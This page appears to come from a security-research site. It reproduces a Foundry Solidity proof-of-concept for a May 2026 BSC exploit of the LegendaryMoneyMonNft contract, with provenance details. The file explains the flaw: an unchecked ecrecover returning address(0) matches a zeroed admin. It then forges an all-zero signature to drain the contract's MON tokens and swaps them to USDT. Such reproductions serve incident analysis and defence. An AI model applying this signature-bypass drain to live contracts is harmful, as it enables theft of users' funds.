Skip to content
THREATWIRE

Public reproduction file

src/test/2026-05/LegendaryMoneyMonNft_exp.sol

Public reproduction file for dataset entry LegendaryMoneyMonNft.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-05/LegendaryMoneyMonNft_exp.sol144 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~$85.5K USD (85,519.47 USDT)
8// Attacker : 0xE1582248C593Df4B367e131922438Fec9D76E787
9// Attack Contract : 0x157ba211f05dd2c83006be949e12b2f0f0a0c1d9 (delegated to the attacker EOA via EIP-7702)
10// Vulnerable Contract : 0x92D60629FF5d53a0098B51E9b1D59546D1D8e5B6 (LegendaryMoneyMonNft - "Legendary MoneyMon NFTs")
11// MON Token : 0xA1C1A7341a1713F174D59926E49E4A1228924100 (Moneymon / MON)
12// Attack Tx : 0x15c835c070672948b3487d35254bce96831bec9f5212f78b04e683fed74bf4a2
13// @Analysis
14// Attack date: May 28, 2026
15// Chain: BSC, Block: 100937039
16// SlowMist: https://x.com/SlowMist_Team/status/2060205558687486441
18// Root Cause:
19// LegendaryMoneyMonNft.cliamRewred() lets a user pull an arbitrary ERC20 amount out of the contract
20// as long as verify() returns true:
21//
22// function verify(address payment,address user,uint _nftid,uint amount,uint _time,string _exname,bytes sig)
23// returns (bool) { ... return recoverSigner(ethSignedMessageHash, sig) == admin; }
24//
25// function recoverSigner(bytes32 hash, bytes sig) returns (address) {
26// (bytes32 r, bytes32 s, uint8 v) = splitSignature(sig);
27// return ecrecover(hash, v, r, s); // <-- never checks for the address(0) return
28// }
29//
30// `ecrecover` returns address(0) for a malformed signature (e.g. r = s = 0). The contract never rejects
31// that, and `changeadmin()` had already been used to set `admin` to the zero address on-chain. So an
32// attacker submits cliamRewred(...) with a 65-byte signature of (r=0, s=0, v=27): ecrecover returns
33// address(0), which equals admin, verify() passes, and the contract transfers the requested token amount
34// to msg.sender. The attacker drains the contract's entire MON balance and swaps it to USDT on PancakeSwap.
35//
36// Note: the real attack ran the drain logic from the attacker EOA itself via an EIP-7702 SetCode (type-4)
37// transaction delegating to 0x157ba211.... For the PoC we use vm.prank to act as the attacker EOA instead.
38//
39// Function selectors:
40// 0x33444682: cliamRewred(address,uint256,uint256,uint256,string,bytes) -- vulnerable claim
41// 0x26ea7ab8: changeadmin(address) -- onlyOwner; admin was set to 0
43interface ILegendaryMoneyMonNft {
44 function admin() external view returns (address);
45 function cliamRewred(
46 address _paymentaddress,
47 uint256 _amount,
48 uint256 _nftid,
49 uint256 _time,
50 string memory _exname,
51 bytes memory signature
52 ) external;
55// PancakeSwap V3 SmartRouter exactInputSingle (no-deadline variant, selector 0x04e45aaf).
56interface IPancakeSmartRouter {
57 struct ExactInputSingleParams {
58 address tokenIn;
59 address tokenOut;
60 uint24 fee;
61 address recipient;
62 uint256 amountIn;
63 uint256 amountOutMinimum;
64 uint160 sqrtPriceLimitX96;
65 }
67 function exactInputSingle(
68 ExactInputSingleParams calldata params
69 ) external payable returns (uint256 amountOut);
72contract LegendaryMoneyMonNftExploit is Test {
73 ILegendaryMoneyMonNft constant NFT = ILegendaryMoneyMonNft(0x92D60629FF5d53a0098B51E9b1D59546D1D8e5B6);
74 IERC20 constant MON = IERC20(0xA1C1A7341a1713F174D59926E49E4A1228924100);
75 IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
76 IPancakeSmartRouter constant ROUTER = IPancakeSmartRouter(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);
77 address constant MON_USDT_POOL = 0x20bDcd1387feE20e42c3B4d328c9D3ad2DEa9e1D; // PancakeV3, fee 2500
78 uint24 constant POOL_FEE = 2500;
80 address constant ATTACKER = 0xE1582248C593Df4B367e131922438Fec9D76E787;
81 uint256 constant ATTACK_BLOCK = 100_937_039;
83 function setUp() public {
84 vm.createSelectFork("bsc", ATTACK_BLOCK - 1);
85 vm.label(address(NFT), "LegendaryMoneyMonNft");
86 vm.label(address(MON), "MON");
87 vm.label(address(USDT), "USDT");
88 vm.label(address(ROUTER), "PancakeV3SmartRouter");
89 vm.label(MON_USDT_POOL, "MON_USDT_V3Pool");
90 vm.label(ATTACKER, "Attacker");
91 }
93 function testExploit() public {
94 console.log("--- LegendaryMoneyMonNft cliamRewred ecrecover(address(0)) Signature Bypass ---");
95 console.log("Attack date: May 28, 2026 Chain: BSC Block: %s", ATTACK_BLOCK);
97 // The misconfiguration that arms the bug: admin is the zero address on-chain.
98 console.log("\nNFT.admin() :", NFT.admin());
99 require(NFT.admin() == address(0), "admin is not the zero address at fork block");
101 uint256 monInContract = MON.balanceOf(address(NFT));
102 console.log("MON held by victim :", monInContract / 1e18);
103 console.log("Attacker USDT before:", USDT.balanceOf(ATTACKER) / 1e18);
105 vm.startPrank(ATTACKER);
107 // A 65-byte signature of (r = 0, s = 0, v = 27). ecrecover returns address(0) == admin -> verify() passes.
108 bytes memory forgedSig = abi.encodePacked(bytes32(0), bytes32(0), uint8(27));
109 assertEq(forgedSig.length, 65, "signature must be 65 bytes");
111 // Step 1: drain the contract's entire MON balance. _nftid/_time/_exname are irrelevant to the bypass.
112 NFT.cliamRewred(address(MON), monInContract, 0, block.timestamp, "", forgedSig);
114 uint256 stolenMon = MON.balanceOf(ATTACKER);
115 console.log("\n=== After cliamRewred drain ===");
116 console.log("MON drained to attacker:", stolenMon / 1e18);
117 assertEq(stolenMon, monInContract, "did not drain full MON balance");
119 // Step 2: swap the stolen MON to USDT through the PancakeSwap V3 pool (as the real attacker did).
120 MON.approve(address(ROUTER), stolenMon);
121 uint256 usdtOut = ROUTER.exactInputSingle(
122 IPancakeSmartRouter.ExactInputSingleParams({
123 tokenIn: address(MON),
124 tokenOut: address(USDT),
125 fee: POOL_FEE,
126 recipient: ATTACKER,
127 amountIn: stolenMon,
128 amountOutMinimum: 0,
129 sqrtPriceLimitX96: 0
130 })
131 );
133 vm.stopPrank();
135 uint256 usdtProfit = USDT.balanceOf(ATTACKER);
136 console.log("\n=== Result ===");
137 console.log("MON swapped :", stolenMon / 1e18);
138 console.log("USDT out (this swap) :", usdtOut / 1e18);
139 console.log("Attacker USDT after :", usdtProfit / 1e18);
141 assertGt(usdtProfit, 0, "no USDT profit");
142 console.log("\nSignature bypass confirmed: ecrecover(address(0)) == admin drained the MON treasury for ~$85.5K.");
143 }

Analysis

Dataset entry

Public Foundry test for “LegendaryMoneyMonNft” (2026-05-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xe1582248c593df4b367e131922438fec9d76e787

  • Attack Contract

    0x157ba211f05dd2c83006be949e12b2f0f0a0c1d9

  • Vulnerable Contract

    0x92d60629ff5d53a0098b51e9b1d59546d1d8e5b6

  • Attack Tx

    0x15c835c070672948b3487d35254bce96831bec9f5212f78b04e683fed74bf4a2

File record

Name
LegendaryMoneyMonNft
Path
src/test/2026-05/LegendaryMoneyMonNft_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
2dc541ca48493f8add67581336934dd709bf5100
Language
Solidity
Size
145 lines
Date
2026-05-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-05/LegendaryMoneyMonNft_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2dc541ca48493f8add67581336934dd709bf5100, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.